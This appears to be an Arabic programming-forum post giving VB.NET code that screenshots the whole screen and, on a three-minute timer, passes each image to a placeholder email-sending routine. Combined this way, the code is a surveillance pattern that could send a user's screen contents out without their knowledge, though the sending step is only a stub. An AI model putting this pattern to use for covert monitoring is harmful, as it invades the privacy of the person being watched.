3booody كتب :اولآ ضع هذه الدالة

كود :

Private Function imag() As Image
        Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
        Dim bitm As New Bitmap(bounds.Width, bounds.Height)
        Dim gr As Graphics = Graphics.FromImage(bitm)
        gr.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, _
CopyPixelOperation.SourceCopy)
        Return bitm
    End Function

[COLOR="#800000"]ثم ضع واحد تايمر واجعل الخاصية Interval=180000 وهي كل ثلاث دقائق
ولنفترض ان حدث ارساله الصوره للإيميل هو SendFile[/COLOR]

كود :

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        MyEmail.SendFile(imag)
    End Sub

طبعآ مقصد كلامي على حسب نوع الايميل الي انته تعمله يعني MyEmail.SendFile(imag) هي كـ فرضية

3booody كتب :شاهد هذه المواضيع واستفد منها
موضوع1
موضوع2

إقتباس :ثم ضع واحد تايمر واجعل الخاصية Interval=180000 وهي كل ثلاث دقائق
ولنفترض ان حدث ارساله الصوره للإيميل هو SendFile
كود:

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
MyEmail.SendFile(imag)
End Sub

طبعآ مقصد كلامي على حسب نوع الايميل الي انته تعمله يعني MyEmail.SendFile(imag) هي كـ فرضية